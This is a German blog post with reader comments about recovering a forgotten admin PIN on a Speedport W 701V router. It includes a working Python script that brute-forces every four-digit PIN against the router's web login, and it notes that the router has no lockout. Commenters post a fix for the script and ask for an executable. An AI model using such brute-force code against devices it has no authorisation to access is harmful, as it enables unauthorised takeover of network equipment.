Mist, da habe ich doch glatt das Passwort (PIN) vergessen, um meinen W-LAN-Router Speedport W 701V zu konfigurieren. Was tun? Mittels Wireshark die URL gesnifft, mit der das Passwort/die PIN dem Router übergeben wird und mittels quick and dirty ein Python-Script geschrieben, das per Brute-Force alle Passwörter durchprobiert.
Da der Router keine Sperre für vermehrte Zugriffe hat, funktioniert das ganze tadellos und ich habe jetzt mein Passwort wieder ;-))
#!/usr/bin/python
import urllib
import re
def fillzeros(pw):
if (pw < 10):
pw = "000" + str(pw)
return str(pw)
elif pw < 100:
pw = "00" + str(pw)
return str(pw)
elif pw < 1000:
pw = "0" + str(pw)
return str(pw)
for pw in range(0,9999):
if pw <= 999:
pw2 = fillzeros(pw)
else:
pw2 = str(pw)
print "Trying " + pw2
url = urllib.urlopen("http://192.168.2.1/cgi-bin/webcm?getpage=../html/hcti_startseite.htm&var:verz=2&time:settings/time=1234474533,-60&login:command/password=" + pw2)
content = url.read()
url.close()
if re.search(r"ung.ltig", content) == None:
print "\n\nGenackt!\n\n" + pw2 + " muesste das gesuchte Passwort sein!\n\n"
break
Prima, auf die Idee war ich auch schon gekommen. Ich bin mit der Annahme, dass nur vierstellige Zahlen als Code gültig sind, schön auf die Nase gefallen. Bei dem w701v meiner Freundin war dann ein Reset auf die Werkseinstellung nötig.
Die Idee ist aber grundsätzlich richtig. John the Ripper o.ä. sollten Abhilfe schaffen, wenns mit den Nummern allein nicht klappt.
Gruß, Thorsten
hab mir das aktuelle python installt, nur leider kann ich das skript nich ausführen, er meldet fehler bei den gänsefüsschen in zeile 37 und später bei urllib
wer kann helfen?
ist eventuell jemand so nett, daraus mal ne exe zu generieren und irgendwo als download zu hosten?
Bin kein Progamierer und suche sowas schon länger…
ein fix für das script
Zeile 37-41 überschreiben:
print „Trying “ + pw2
params = urllib.urlencode({‘getpage’: ‘../html/hcti_startseite.htm’ , ‘var:verz’: “, ‘login:command/password’: pw2})
url = urllib.urlopen(„http://192.168.2.1/cgi-bin/webcm“, params)
content = url.read()
und vielleicht noch
if re.search(r“Das angegebene“, content) == None:
wegen den Umlauten
[...] je nach Router ein NAT (=Network Address Translation) eingerichtet werden, so sieht das z.B. beim Telekom-Speedport [...]
HI, könnte mir vll jemand das script zu ner EXE compilen?
bin nicht wirklich fit in Python.
wäre echt net.
Wenn es möglich wäre bitte an
M[dot]Dach[at]web[dot]de
senden.
danke!!!!!!!!!!!!!!!!!